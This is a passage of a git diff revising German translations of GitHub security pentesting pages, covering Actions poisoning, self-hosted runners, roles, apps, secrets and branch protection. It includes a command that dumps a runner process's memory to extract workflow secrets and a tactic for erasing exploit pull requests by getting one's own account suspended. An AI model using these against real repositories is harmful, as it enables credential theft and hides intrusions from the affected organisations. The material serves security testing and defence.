und von einem **privilegierteren** Workflow **heruntergeladen** und ausgeführt wird, er auch diesen Workflow **kompromittieren** kann. {{#ref}} gh-actions-cache-poisoning.md {{#endref}} -### Artifact-Poisoning +### Artefaktvergiftung -Workflows könnten **Artefakte von anderen Workflows und sogar Repos** verwenden. Wenn es einem Angreifer gelingt, die Github Action, die ein **Artefakt hochlädt**, zu **kompromittieren**, das später von einem anderen Workflow verwendet wird, könnte er die **anderen Workflows kompromittieren**: +Workflows könnten **Artefakte von anderen Workflows und sogar Repos** verwenden. Wenn es einem Angreifer gelingt, die Github Action zu **kompromittieren**, die ein **Artefakt hochlädt**, das später von einem anderen Workflow verwendet wird, könnte er **die anderen Workflows kompromittieren**: {{#ref}} gh-actions-artifact-poisoning.md @@ -398,7 +398,7 @@ Wenn Sie Inhalte in ein Skript injizieren, ist es interessant zu wissen, wie Sie
-Geheimnisse in der Github Action-Ausgabe auflisten +Liste der Geheimnisse in der Github Action-Ausgabe ```yaml name: list_env on: @@ -470,7 +470,7 @@ Der Weg, um herauszufinden, welche **Github Actions in nicht-Github-Infrastruktu **Selbst gehostete** Runner könnten Zugang zu **extra sensiblen Informationen**, zu anderen **Netzwerksystemen** (anfällige Endpunkte im Netzwerk? Metadatenservice?) haben oder, selbst wenn sie isoliert und zerstört sind, **könnten mehr als eine Aktion gleichzeitig ausgeführt werden** und die bösartige könnte die **Geheimnisse** der anderen stehlen. -Bei selbst gehosteten Runnern ist es auch möglich, die **Geheimnisse aus dem \_Runner.Listener**\_\*\* Prozess\*\* zu erhalten, der alle Geheimnisse der Workflows zu jedem Zeitpunkt enthält, indem man seinen Speicher ausliest: +Bei selbst gehosteten Runnern ist es auch möglich, die **Geheimnisse aus dem \_Runner.Listener**\_\*\* Prozess\*\* zu erhalten, der alle Geheimnisse der Workflows zu jedem Zeitpunkt enthält, indem man seinen Speicher dumpet: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" @@ -480,7 +480,7 @@ sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ prin ### Github Docker Images Registry Es ist möglich, Github-Aktionen zu erstellen, die **ein Docker-Image innerhalb von Github erstellen und speichern**.\ -Ein Beispiel finden Sie im folgenden ausklappbaren Bereich: +Ein Beispiel finden Sie im folgenden erweiterbaren Abschnitt:
@@ -517,7 +517,7 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e Wie Sie im vorherigen Code sehen konnten, wird das Github-Registry in **`ghcr.io`** gehostet. -Ein Benutzer mit Lesezugriff auf das Repo kann dann das Docker-Image mit einem persönlichen Zugriffstoken herunterladen: +Ein Benutzer mit Lesezugriff auf das Repository kann dann das Docker-Image mit einem persönlichen Zugriffstoken herunterladen: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: @@ -534,9 +534,9 @@ Selbst wenn **Github** versucht, **Geheimwerte** in den Aktionsprotokollen zu ** ## Spuren verwischen -(Technik von [**hier**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Zunächst einmal ist jeder PR, der erstellt wird, für die Öffentlichkeit in Github und für das Ziel-GitHub-Konto deutlich sichtbar. In GitHub können wir standardmäßig **einen PR nicht aus dem Internet löschen**, aber es gibt einen Haken. Für GitHub-Konten, die von Github **gesperrt** sind, werden alle ihre **PRs automatisch gelöscht** und aus dem Internet entfernt. Um also Ihre Aktivitäten zu verbergen, müssen Sie entweder Ihr **GitHub-Konto sperren lassen oder Ihr Konto kennzeichnen lassen**. Dies würde **alle Ihre Aktivitäten** auf GitHub aus dem Internet verbergen (im Grunde alle Ihre Exploit-PRs entfernen). +(Technik von [**hier**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Zunächst einmal ist jeder PR, der erstellt wird, für die Öffentlichkeit in Github und für das Ziel-GitHub-Konto deutlich sichtbar. In GitHub können wir standardmäßig **einen PR nicht aus dem Internet löschen**, aber es gibt einen Haken. Für GitHub-Konten, die von Github **suspendiert** wurden, werden alle ihre **PRs automatisch gelöscht** und aus dem Internet entfernt. Um also Ihre Aktivitäten zu verbergen, müssen Sie entweder Ihr **GitHub-Konto suspendiert bekommen oder Ihr Konto als verdächtig markieren lassen**. Dies würde **alle Ihre Aktivitäten** auf GitHub aus dem Internet verbergen (im Grunde alle Ihre Exploit-PRs entfernen). -Eine Organisation in GitHub ist sehr proaktiv darin, Konten an GitHub zu melden. Alles, was Sie tun müssen, ist, „einige Dinge“ in einem Issue zu teilen, und sie werden sicherstellen, dass Ihr Konto in 12 Stunden gesperrt wird :p und da haben Sie es, Ihr Exploit ist auf GitHub unsichtbar gemacht. +Eine Organisation in GitHub ist sehr proaktiv darin, Konten an GitHub zu melden. Alles, was Sie tun müssen, ist, „einige Dinge“ in einem Issue zu teilen, und sie werden sicherstellen, dass Ihr Konto in 12 Stunden suspendiert wird :p und da haben Sie es, Ihr Exploit ist auf GitHub unsichtbar gemacht. > [!WARNING] > Der einzige Weg für eine Organisation herauszufinden, dass sie ins Visier genommen wurde, besteht darin, die GitHub-Protokolle von SIEM zu überprüfen, da der PR aus der GitHub-Benutzeroberfläche entfernt würde. diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md index 31a16673b..44297e195 100644 --- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md +++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md @@ -6,33 +6,33 @@ Diese Möglichkeiten, auf Daten von Github zuzugreifen, die angeblich gelöscht ## Zugriff auf Gelöschte Fork-Daten -1. Du forkt ein öffentliches Repository. -2. Du commitest Code zu deinem Fork. -3. Du löschst deinen Fork. +1. Sie forken ein öffentliches Repository. +2. Sie committen Code in Ihren Fork. +3. Sie löschen Ihren Fork. > [!CAUTION] > Die in dem gelöschten Fork committen Daten sind weiterhin zugänglich. ## Zugriff auf Gelöschte Repo-Daten -1. Du hast ein öffentliches Repo auf GitHub. -2. Ein Benutzer forkt dein Repo. -3. Du commitest Daten, nachdem sie es geforkt haben (und sie synchronisieren ihren Fork nie mit deinen Updates). -4. Du löschst das gesamte Repo. +1. Sie haben ein öffentliches Repo auf GitHub. +2. Ein Benutzer forkt Ihr Repo. +3. Sie committen Daten, nachdem sie es geforkt haben (und sie synchronisieren ihren Fork nie mit Ihren Updates). +4. Sie löschen das gesamte Repo. > [!CAUTION] -> Selbst wenn du dein Repo gelöscht hast, sind alle Änderungen, die daran vorgenommen wurden, weiterhin über die Forks zugänglich. +> Selbst wenn Sie Ihr Repo gelöscht haben, sind alle Änderungen, die daran vorgenommen wurden, weiterhin über die Forks zugänglich. ## Zugriff auf Private Repo-Daten -1. Du erstellst ein privates Repo, das schließlich öffentlich gemacht wird. -2. Du erstellst eine private, interne Version dieses Repos (durch Forking) und commitest zusätzlichen Code für Funktionen, die du nicht öffentlich machen möchtest. -3. Du machst dein „Upstream“-Repository öffentlich und hältst deinen Fork privat. +1. Sie erstellen ein privates Repo, das schließlich öffentlich gemacht wird. +2. Sie erstellen eine private, interne Version dieses Repos (durch Forking) und committen zusätzlichen Code für Funktionen, die Sie nicht öffentlich machen möchten. +3. Sie machen Ihr „Upstream“-Repository öffentlich und halten Ihren Fork privat. > [!CAUTION] > Es ist möglich, auf alle Daten zuzugreifen, die in den internen Fork gepusht wurden, in der Zeit zwischen der Erstellung des internen Forks und der Veröffentlichung der öffentlichen Version. -## Wie man Commits von gelöschten/verborgenen Forks entdeckt +## So entdecken Sie Commits von gelöschten/verborgenen Forks Der gleiche Blogbeitrag schlägt 2 Optionen vor: diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index d3a87850f..52e17e608 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -16,19 +16,19 @@ Und schließlich können **Repositories spezielle Schutzmechanismen** haben. ### Unternehmensrollen -- **Unternehmensinhaber**: Personen mit dieser Rolle können **Administratoren verwalten, Organisationen innerhalb des Unternehmens verwalten, Unternehmenseinstellungen verwalten, Richtlinien über Organisationen durchsetzen**. Sie **können jedoch nicht auf die Einstellungen oder Inhalte der Organisation zugreifen**, es sei denn, sie werden zum Organisationsinhaber ernannt oder erhalten direkten Zugriff auf ein von der Organisation besessenes Repository. -- **Unternehmensmitglieder**: Mitglieder von Organisationen, die von Ihrem Unternehmen besessen werden, sind ebenfalls **automatisch Mitglieder des Unternehmens**. +- **Unternehmensinhaber**: Personen mit dieser Rolle können **Administratoren verwalten, Organisationen innerhalb des Unternehmens verwalten, Unternehmenseinstellungen verwalten, Richtlinien über Organisationen hinweg durchsetzen**. Sie **können jedoch nicht auf die Einstellungen oder Inhalte der Organisation zugreifen**, es sei denn, sie werden zu einem Organisationsinhaber ernannt oder erhalten direkten Zugriff auf ein von der Organisation besessenes Repository. +- **Unternehmensmitglieder**: Mitglieder von Organisationen, die Ihrem Unternehmen gehören, sind ebenfalls **automatisch Mitglieder des Unternehmens**. ### Organisationsrollen In einer Organisation können Benutzer verschiedene Rollen haben: -- **Organisationsinhaber**: Organisationsinhaber haben **vollständigen administrativen Zugriff auf Ihre Organisation**. Diese Rolle sollte begrenzt sein, jedoch auf nicht weniger als zwei Personen in Ihrer Organisation. +- **Organisationsinhaber**: Organisationsinhaber haben **vollständigen administrativen Zugriff auf Ihre Organisation**. Diese Rolle sollte begrenzt sein, jedoch nicht auf weniger als zwei Personen in Ihrer Organisation. - **Organisationsmitglieder**: Die **Standard**-Nicht-Administrationsrolle für **Personen in einer Organisation** ist das Organisationsmitglied. Standardmäßig haben Organisationsmitglieder **eine Reihe von Berechtigungen**. - **Abrechnungsmanager**: Abrechnungsmanager sind Benutzer, die **die Abrechnungseinstellungen für Ihre Organisation verwalten** können, wie z. B. Zahlungsinformationen. - **Sicherheitsmanager**: Es ist eine Rolle, die Organisationsinhaber einem Team in einer Organisation zuweisen können. Wenn sie angewendet wird, gibt sie jedem Mitglied des Teams Berechtigungen, um **Sicherheitswarnungen und -einstellungen in Ihrer Organisation zu verwalten sowie Lesezugriff auf alle Repositories** in der Organisation zu haben. - Wenn Ihre Organisation ein Sicherheitsteam hat, können Sie die Rolle des Sicherheitsmanagers verwenden, um den Mitgliedern des Teams den minimalen Zugriff zu gewähren, den sie für die Organisation benötigen. -- **Github-App-Manager**: Um zusätzlichen Benutzern zu ermöglichen, **GitHub-Apps zu verwalten, die von einer Organisation besessen werden**, kann ein Eigentümer ihnen Berechtigungen als GitHub-App-Manager gewähren. +- **Github App-Manager**: Um zusätzlichen Benutzern zu ermöglichen, **GitHub-Apps zu verwalten, die einer Organisation gehören**, kann ein Inhaber ihnen Berechtigungen als GitHub App-Manager gewähren. - **Externe Mitarbeiter**: Ein externer Mitarbeiter ist eine Person, die **Zugriff auf eines oder mehrere Repositories der Organisation hat, aber nicht ausdrücklich Mitglied** der Organisation ist. Sie können **die Berechtigungen** dieser Rollen in dieser Tabelle vergleichen: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) @@ -37,9 +37,9 @@ Sie können **die Berechtigungen** dieser Rollen in dieser Tabelle vergleichen: In _https://github.com/organizations/\/settings/member_privileges_ können Sie die **Berechtigungen sehen, die Benutzer nur durch ihre Mitgliedschaft in der Organisation haben**. -Die hier konfigurierten Einstellungen geben die folgenden Berechtigungen der Mitglieder der Organisation an: +Die hier konfigurierten Einstellungen geben die folgenden Berechtigungen für Mitglieder der Organisation an: -- Administrator, Autor, Leser oder keine Berechtigung für alle Repositories der Organisation sein. +- Admin, Autor, Leser oder keine Berechtigung für alle Repos der Organisation. - Ob Mitglieder private, interne oder öffentliche Repositories erstellen können. - Ob das Forken von Repositories möglich ist. - Ob externe Mitarbeiter eingeladen werden können. @@ -54,12 +54,12 @@ Standardmäßig werden Repository-Rollen erstellt: - **Lesen**: Empfohlen für **Nicht-Code-Beitragsleistende**, die Ihr Projekt ansehen oder diskutieren möchten. - **Triage**: Empfohlen für **Beitragsleistende, die Probleme und Pull-Requests proaktiv verwalten müssen**, ohne Schreibzugriff zu haben. - **Schreiben**: Empfohlen für Beitragsleistende, die **aktiv zu Ihrem Projekt beitragen**. -- **Wartung**: Empfohlen für **Projektmanager, die das Repository verwalten müssen**, ohne Zugriff auf sensible oder destruktive Aktionen zu haben. +- **Verwalten**: Empfohlen für **Projektmanager, die das Repository verwalten müssen**, ohne Zugriff auf sensible oder destruktive Aktionen zu haben. - **Admin**: Empfohlen für Personen, die **vollständigen Zugriff auf das Projekt** benötigen, einschließlich sensibler und destruktiver Aktionen wie das Verwalten von Sicherheit oder das Löschen eines Repositories. -Sie können **die Berechtigungen** jeder Rolle in dieser Tabelle vergleichen [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) +Sie können **die Berechtigungen** jeder Rolle in dieser Tabelle vergleichen: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) -Sie können auch **Ihre eigenen Rollen erstellen** in _https://github.com/organizations/\/settings/roles_ +Sie können auch **Ihre eigenen Rollen erstellen** in _https://github.com/organizations/\/settings/roles_. ### Teams @@ -69,7 +69,7 @@ Sie können **die in einer Organisation erstellten Teams auflisten** in _https:/ Die Benutzer einer Organisation können in _https://github.com/orgs/\/people_ **aufgelistet** werden. -In den Informationen jedes Benutzers können Sie die **Teams sehen, in denen der Benutzer Mitglied ist**, und die **Repos, auf die der Benutzer Zugriff hat**. +In den Informationen zu jedem Benutzer können Sie die **Teams sehen, in denen der Benutzer Mitglied ist**, und die **Repos, auf die der Benutzer Zugriff hat**. ## Github-Authentifizierung @@ -81,7 +81,7 @@ Durch den Zugriff auf **github.com** können Sie sich mit Ihrem **Benutzernamen ### **SSH-Schlüssel** -Sie können Ihr Konto mit einem oder mehreren öffentlichen Schlüsseln konfigurieren, die es dem zugehörigen **privaten Schlüssel ermöglichen, Aktionen in Ihrem Namen auszuführen.** [https://github.com/settings/keys](https://github.com/settings/keys) +Sie können Ihr Konto mit einem oder mehreren öffentlichen Schlüsseln konfigurieren, die es dem zugehörigen **privaten Schlüssel ermöglichen, Aktionen in Ihrem Namen auszuführen**. [https://github.com/settings/keys](https://github.com/settings/keys) #### **GPG-Schlüssel** @@ -93,19 +93,19 @@ Sie können persönliche Zugriffstoken generieren, um **einer Anwendung Zugriff ### Oauth-Anwendungen -Oauth-Anwendungen können Sie um Berechtigungen **bitten, um auf Teile Ihrer Github-Informationen zuzugreifen oder Sie zu impersonifizieren**, um einige Aktionen auszuführen. Ein häufiges Beispiel für diese Funktionalität ist die **Login mit Github-Schaltfläche**, die Sie möglicherweise auf einigen Plattformen finden. +Oauth-Anwendungen können Sie um Berechtigungen **bitten, um auf Teile Ihrer Github-Informationen zuzugreifen oder Sie zu impersonifizieren**, um einige Aktionen auszuführen. Ein häufiges Beispiel für diese Funktionalität ist die **Anmeldung mit Github-Schaltfläche**, die Sie möglicherweise auf einigen Plattformen finden. -- Sie können **Ihre eigenen Oauth-Anwendungen** in [https://github.com/settings/developers](https://github.com/settings/developers) erstellen. +- Sie können Ihre eigenen **Oauth-Anwendungen** in [https://github.com/settings/developers](https://github.com/settings/developers) **erstellen**. - Sie können alle **Oauth-Anwendungen sehen, die Zugriff auf Ihr Konto haben** in [https://github.com/settings/applications](https://github.com/settings/applications). - Sie können die **Scopes sehen, die Oauth-Apps anfordern können** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). -- Sie können den Zugriff von Drittanwendungen auf Anwendungen in einer **Organisation** in _https://github.com/organizations/\/settings/oauth_application_policy_ sehen. +- Sie können den Zugriff von Drittanwendungen in einer **Organisation** in _https://github.com/organizations/\/settings/oauth_application_policy_ sehen. Einige **Sicherheitsempfehlungen**: -- Eine **OAuth-App** sollte immer **als authentifizierter GitHub-Benutzer über das gesamte GitHub** hinweg agieren (zum Beispiel, wenn Benutzerbenachrichtigungen bereitgestellt werden) und nur Zugriff auf die angegebenen Scopes haben. -- Eine OAuth-App kann als Identitätsanbieter verwendet werden, indem ein "Login mit GitHub" für den authentifizierten Benutzer aktiviert wird. -- **Bauen Sie keine OAuth-App**, wenn Sie möchten, dass Ihre Anwendung auf ein **einzelnes Repository** zugreift. Mit dem `repo` OAuth-Scope können OAuth-Apps **auf \_allen**\_\*\* Repositories des authentifizierten Benutzers zugreifen\*\*. -- **Bauen Sie keine OAuth-App**, um als Anwendung für Ihr **Team oder Unternehmen** zu agieren. OAuth-Apps authentifizieren sich als **einzelner Benutzer**, sodass, wenn eine Person eine OAuth-App für ein Unternehmen erstellt, und dann das Unternehmen verlässt, niemand sonst Zugriff darauf hat. +- Eine **OAuth-App** sollte immer **als der authentifizierte GitHub-Benutzer über das gesamte GitHub hinweg agieren** (zum Beispiel, wenn Benutzerbenachrichtigungen bereitgestellt werden) und nur Zugriff auf die angegebenen Scopes haben. +- Eine OAuth-App kann als Identitätsanbieter verwendet werden, indem eine "Anmeldung mit GitHub" für den authentifizierten Benutzer aktiviert wird. +- **Bauen Sie keine** **OAuth-App**, wenn Sie möchten, dass Ihre Anwendung auf ein **einzelnes Repository** zugreift. Mit dem `repo` OAuth-Scope können OAuth-Apps **auf _allen_**\*\* Repositories des authentifizierten Benutzers zugreifen\*\*. +- **Bauen Sie keine** OAuth-App, um als Anwendung für Ihr **Team oder Unternehmen** zu agieren. OAuth-Apps authentifizieren sich als **einzelner Benutzer**, sodass, wenn eine Person eine OAuth-App für ein Unternehmen erstellt, und dann das Unternehmen verlässt, niemand sonst Zugriff darauf hat. - **Mehr** dazu [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). ### Github-Anwendungen @@ -113,7 +113,7 @@ Einige **Sicherheitsempfehlungen**: Github-Anwendungen können um Berechtigungen bitten, um **auf Ihre Github-Informationen zuzugreifen oder Sie zu impersonifizieren**, um spezifische Aktionen über spezifische Ressourcen auszuführen. In Github-Apps müssen Sie die Repositories angeben, auf die die App Zugriff haben wird. - Um eine GitHub-App zu installieren, müssen Sie **Organisationsinhaber oder über Administratorberechtigungen** in einem Repository verfügen. -- Die GitHub-App sollte **mit einem persönlichen Konto oder einer Organisation** verbunden sein. +- Die GitHub-App sollte **mit einem persönlichen Konto oder einer Organisation verbunden sein**. - Sie können Ihre eigene Github-Anwendung in [https://github.com/settings/apps](https://github.com/settings/apps) erstellen. - Sie können alle **Github-Anwendungen sehen, die Zugriff auf Ihr Konto haben** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations). - Dies sind die **API-Endpunkte für Github-Anwendungen** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Je nach den Berechtigungen der App kann sie auf einige von ihnen zugreifen. @@ -122,12 +122,12 @@ Github-Anwendungen können um Berechtigungen bitten, um **auf Ihre Github-Inform Einige Sicherheitsempfehlungen: - Eine GitHub-App sollte **unabhängig von einem Benutzer handeln** (es sei denn, die App verwendet ein [User-to-Server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) Token). Um die Sicherheit von User-to-Server-Zugriffstoken zu erhöhen, können Sie Zugriffstoken verwenden, die nach 8 Stunden ablaufen, und ein Refresh-Token, das gegen ein neues Zugriffstoken eingetauscht werden kann. Weitere Informationen finden Sie unter "[Aktualisieren von User-to-Server-Zugriffstoken](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." -- Stellen Sie sicher, dass die GitHub-App mit **bestimmten Repositories** integriert ist. -- Die GitHub-App sollte **mit einem persönlichen Konto oder einer Organisation** verbunden sein. +- Stellen Sie sicher, dass die GitHub-App mit **spezifischen Repositories** integriert ist. +- Die GitHub-App sollte **mit einem persönlichen Konto oder einer Organisation verbunden sein**. - Erwarten Sie nicht, dass die GitHub-App alles weiß und tut, was ein Benutzer kann. -- **Verwenden Sie keine GitHub-App, wenn Sie nur einen "Login mit GitHub"-Dienst benötigen**. Aber eine GitHub-App kann einen [Benutzeridentifikationsfluss](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) verwenden, um Benutzer einzuloggen _und_ andere Dinge zu tun. +- **Verwenden Sie keine GitHub-App, wenn Sie nur einen "Login mit GitHub"-Dienst benötigen**. Aber eine GitHub-App kann einen [Benutzeridentifikationsfluss](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) verwenden, um Benutzer anzumelden _und_ andere Dinge zu tun. - Bauen Sie keine GitHub-App, wenn Sie _nur_ als GitHub-Benutzer agieren und alles tun möchten, was dieser Benutzer tun kann. -- Wenn Sie Ihre App mit GitHub Actions verwenden und Workflow-Dateien ändern möchten, müssen Sie sich im Namen des Benutzers mit einem OAuth-Token authentifizieren, das den `workflow`-Scope enthält. Der Benutzer muss über Administrator- oder Schreibberechtigungen für das Repository verfügen, das die Workflow-Datei enthält. Weitere Informationen finden Sie unter "[Verstehen von Scopes für OAuth-Apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." +- Wenn Sie Ihre App mit GitHub Actions verwenden und Workflow-Dateien ändern möchten, müssen Sie sich im Namen des Benutzers mit einem OAuth-Token authentifizieren, das den `workflow`-Scope enthält. Der Benutzer muss über Administrator- oder Schreibberechtigungen für das Repository verfügen, das die Workflow-Datei enthält. Weitere Informationen finden Sie unter "[Verstehen der Scopes für OAuth-Apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." - **Mehr** dazu [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). ### Github Actions @@ -144,7 +144,7 @@ In _https://github.com/organizations/\/settings/actions_ ist es mögli Es ist möglich, die Verwendung von Github-Aktionen vollständig zu verbieten, **alle Github-Aktionen zuzulassen** oder nur bestimmte Aktionen zuzulassen. -Es ist auch möglich zu konfigurieren, **wer die Genehmigung benötigt, um eine Github-Aktion auszuführen**, und die **Berechtigungen des GITHUB_TOKEN** einer Github-Aktion, wenn sie ausgeführt wird. +Es ist auch möglich zu konfigurieren, **wer die Genehmigung benötigt, um eine Github-Aktion auszuführen** und die **Berechtigungen des GITHUB_TOKEN** einer Github-Aktion, wenn sie ausgeführt wird. ### Git-Geheimnisse @@ -168,77 +168,77 @@ run: | example-command "$SUPER_SECRET" ``` > [!WARNING] -> Secrets **können nur von den Github Actions** zugegriffen werden, die sie deklariert haben. +> Geheimnisse **können nur von den Github Actions** abgerufen werden, die sie deklariert haben. -> Sobald sie im Repo oder in den Organisationen konfiguriert sind, **werden die Nutzer von Github nicht mehr darauf zugreifen können**, sie können sie nur **ändern**. +> Sobald sie im Repo oder in den Organisationen konfiguriert sind, **werden die Benutzer von Github nicht mehr darauf zugreifen können**, sie können sie nur **ändern**. -Daher ist der **einzige Weg, Github-Secrets zu stehlen, Zugriff auf die Maschine zu haben, die die Github Action ausführt** (in diesem Szenario können Sie nur auf die für die Action deklarierten Secrets zugreifen). +Daher ist der **einzige Weg, Github-Geheimnisse zu stehlen, Zugriff auf die Maschine zu haben, die die Github Action ausführt** (in diesem Szenario können Sie nur auf die für die Action deklarierten Geheimnisse zugreifen). ### Git-Umgebungen -Github ermöglicht es, **Umgebungen** zu erstellen, in denen Sie **Secrets** speichern können. Dann können Sie der Github Action Zugriff auf die Secrets innerhalb der Umgebung gewähren, indem Sie etwas wie Folgendes verwenden: +Github ermöglicht es, **Umgebungen** zu erstellen, in denen Sie **Geheimnisse** speichern können. Dann können Sie der Github Action Zugriff auf die Geheimnisse innerhalb der Umgebung gewähren, indem Sie etwas wie Folgendes verwenden: ```yaml jobs: deployment: runs-on: ubuntu-latest environment: env_name ``` -You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\ -It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed. +Sie können eine Umgebung so konfigurieren, dass sie **von allen Branches** (Standard), **nur von geschützten** Branches oder **bestimmten** Branches, die darauf zugreifen können, **zugänglich** ist.\ +Es kann auch eine **Anzahl erforderlicher Überprüfungen** festgelegt werden, bevor eine **Aktion** unter Verwendung einer **Umgebung** **ausgeführt** wird, oder es kann einige **Zeit** gewartet werden, bevor die Bereitstellungen fortgesetzt werden. ### Git Action Runner -A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user. +Eine Github-Aktion kann **innerhalb der Github-Umgebung ausgeführt** oder in einer **drittanbieter Infrastruktur**, die vom Benutzer konfiguriert wurde, ausgeführt werden. -Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**. +Mehrere Organisationen erlauben es, Github-Aktionen in einer **drittanbieter Infrastruktur** auszuführen, da dies in der Regel **günstiger** ist. -You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_ +Sie können die **selbst gehosteten Runner** einer Organisation unter _https://github.com/organizations/\/settings/actions/runners_ auflisten. -The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml. +Der Weg, um herauszufinden, welche **Github-Aktionen in nicht-Github-Infrastrukturen ausgeführt werden**, besteht darin, nach `runs-on: self-hosted` in der Github-Aktionskonfigurations-yaml zu suchen. -It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs. +Es ist **nicht möglich, eine Github-Aktion einer Organisation innerhalb einer selbst gehosteten Box** einer anderen Organisation auszuführen, da **ein einzigartiges Token für den Runner generiert wird**, wenn er konfiguriert wird, um zu wissen, zu welcher Organisation der Runner gehört. -If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with. +Wenn der benutzerdefinierte **Github Runner auf einer Maschine innerhalb von AWS oder GCP** konfiguriert ist, könnte die Aktion **Zugriff auf den Metadaten-Endpunkt haben** und **das Token des Dienstkontos stehlen**, mit dem die Maschine betrieben wird. -### Git Action Compromise +### Git Action Kompromittierung -If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed. +Wenn alle Aktionen (oder eine bösartige Aktion) erlaubt sind, könnte ein Benutzer eine **Github-Aktion** verwenden, die **bösartig** ist und den **Container** kompromittiert, in dem sie ausgeführt wird. > [!CAUTION] -> A **malicious Github Action** run could be **abused** by the attacker to: +> Eine **bösartige Github-Aktion** könnte vom Angreifer **missbraucht** werden, um: > -> - **Steal all the secrets** the Action has access to -> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service) -> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**. +> - **Alle Geheimnisse zu stehlen**, auf die die Aktion Zugriff hat +> - **Laterale Bewegungen** durchzuführen, wenn die Aktion in einer **drittanbieter Infrastruktur** ausgeführt wird, wo das SA-Token, das zum Ausführen der Maschine verwendet wird, abgerufen werden kann (wahrscheinlich über den Metadatenservice) +> - **Das Token** zu **missbrauchen**, das vom **Workflow** verwendet wird, um **den Code des Repos zu stehlen**, in dem die Aktion ausgeführt wird, oder **sogar zu modifizieren**. -## Branch Protections +## Branch-Schutz -Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. +Branch-Schutzmaßnahmen sind so konzipiert, dass sie **nicht die vollständige Kontrolle über ein Repository** an die Benutzer geben. Das Ziel ist es, **mehrere Schutzmethoden zu implementieren, bevor man in einem bestimmten Branch Code schreiben kann**. -The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_ +Die **Branch-Schutzmaßnahmen eines Repositories** finden Sie unter _https://github.com/\/\/settings/branches_. > [!NOTE] -> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo. +> Es ist **nicht möglich, einen Branch-Schutz auf Organisationsebene festzulegen**. Daher müssen alle in jedem Repo deklariert werden. -Different protections can be applied to a branch (like to master): +Verschiedene Schutzmaßnahmen können auf einen Branch (wie auf master) angewendet werden: -- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: -- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. -- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it. -- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) -- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews. -- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions. -- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret). -- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged. -- **Require signed commits**. The commits need to be signed. -- **Require linear history.** Prevent merge commits from being pushed to matching branches. -- **Include administrators**. If this isn't set, admins can bypass the restrictions. -- **Restrict who can push to matching branches**. Restrict who can send a 